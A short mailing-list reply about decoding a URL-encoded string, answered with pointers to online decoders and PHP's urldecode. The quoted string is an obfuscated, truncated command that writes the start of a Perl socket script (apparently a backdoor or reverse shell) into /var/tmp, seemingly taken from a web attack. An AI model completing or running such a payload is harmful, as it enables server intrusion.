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Re: [SLUG] converting '%' hex chars back to text ?


Voytek wrote:
> what can I use to convert such hex strings back to human readable ?
> 
> -e%20%22print%20%5C%22%5Cx23%5Cx21%5Cx2f%5Cx75%5Cx73%5Cx72%5Cx2f%5Cx62%5Cx69%5Cx
> 6e%5Cx2f%5Cx70%5Cx65%5Cx72%5Cx6c%5Cx0a%5Cx75%5Cx73%5Cx65%5Cx20%5Cx53%5Cx6f%5Cx63
> %5Cx6b%5Cx65%5Cx74%5Cx3b%5Cx20%5Cx75%5Cx73%5Cx65%5Cx20%5Cx49%5Cx4f%5Cx3a%5Cx3a%5
> Cx48%5Cx61%5Cx6e%5Cx64%5Cx6c%5Cx65%5Cx3b%5Cx20%5Cx75%5Cx73%5Cx65%5Cx20%5Cx50%5Cx
> 4f%5Cx53%5Cx49%5Cx58%5Cx3b%5Cx20%5Cx24%5Cx70%5Cx72%5Cx6f%5Cx74%5Cx6f%5Cx20%5Cx3d
> %5Cx20%5Cx67%5Cx65%5Cx74%5Cx70%5Cx72%5Cx6f%5Cx74%5Cx6f%5Cx62%5Cx79%5Cx6e%5Cx61%5
> Cx6d%5Cx65%5Cx28%5Cx27%5Cx74%5Cx63%5Cx70%5Cx27%5Cx29%5Cx3b%5C%22%22%20%3E/var/tm

This data appears to be URL encoded. There are many sites on the net
that will let you decode it on the fly, such as

http://ostermiller.org/calc/encode.html

...or you can whip one up yourself (see http://php.net/urldecode).

-- 
Mike